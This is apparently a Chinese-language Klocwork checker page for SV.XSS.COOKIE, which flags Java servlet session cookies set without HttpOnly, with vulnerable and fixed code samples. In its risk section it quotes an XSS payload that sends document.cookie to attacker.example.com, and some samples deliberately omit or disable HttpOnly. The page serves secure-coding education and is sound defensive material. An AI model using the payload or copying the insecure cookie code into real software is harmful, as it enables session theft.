SV.XSS.COOKIE

无 setHttpOnly 标记的敏感 Cookie

在未设置 setHttpOnly 标记的情况下,将用于存储客户端与网站之间交互会话 ID 的 Cookie(以便验证客户端发出的请求)添加到 HttpServletResponse 对象时,Klocwork 会报告 SV.XSS.COOKIE 缺陷。

从 2023.2 版本开始,此检查器将支持 Jakarta EE。

漏洞与风险

能够执行跨站脚本 (XSS) 的攻击者可插入恶意脚本,例如:
复制
document.write('<img src="http://attacker.example.com/collect-cookies?cookie=' + document.cookie .'">'
客户端加载和执行此脚本时,便会对攻击者控制的网站发出请求。然后,攻击者可记录该请求并窃取 Cookie。

缓解与预防

HttpOnly 标记会指示兼容的浏览器阻止客户端脚本访问 Cookie。在 Set-Cookie HTTP 响应头中包括 HttpOnly 标记有助于缓解与 XSS 相关的风险,因为攻击者的脚本代码可尝试通过 XSS 读取和外泄 Cookie 的内容。设置后,支持该标记的浏览器不会将 Cookie 的内容泄露给使用 XSS 执行的第三方客户端脚本。

漏洞代码示例 1

复制
   import javax.servlet.http.*;
   
   String sessionID = generateSessionId();
   Cookie c = new Cookie("session_id", sessionID);
   response.addCookie(c);

Klocwork 在第 5 行报告 SV.XSS.COOKIE 缺陷,指出“可能会攻击无 setHttpOnly 标记的 Cookie”,因为在添加到响应之前未在 Cookie 上设置 setHttpOnly 标记。

修正代码示例 1

复制
   import javax.servlet.http.*;
   
   String sessionID = generateSessionId();
   Cookie c = new Cookie("session_id", sessionID);
   c.setHttpOnly(true);
   response.addCookie(c);

Klockwork 在第 4 行不再报告 SV.XSS.COOKIE 缺陷,因为已在第 5 行为 Cookie 设置 setHttpOnly 标记。

漏洞代码示例 2

复制
   import jakarta.servlet.http.*;
   
   String sessionID = generateSessionId();
   Cookie c = new Cookie("session_id", sessionID);
   c.setHttpOnly(false);
   response.addCookie(c);

Klocwork 在第 6 行报告 SV.XSS.COOKIE 缺陷,指出“可能会攻击无 setHttpOnly 标记的 Cookie”。尽管已调用 setHttpOnly 方法,但此方法在第 5 行已设置为 false。

修正代码示例 2

复制
  import jakarta.servlet.http.*;
  
   String sessionID = generateSessionId();
   Cookie c = new Cookie("session_id", sessionID);
   c.setHttpOnly(true);
   response.addCookie(c);

Klockwork 在第 6 行不再报告 SV.XSS.COOKIE 缺陷,因为已在第 5 行为 Cookie 设置 setHttpOnly 标记。

安全培训

应用程序安全培训材料由 Secure Code Warrior 提供。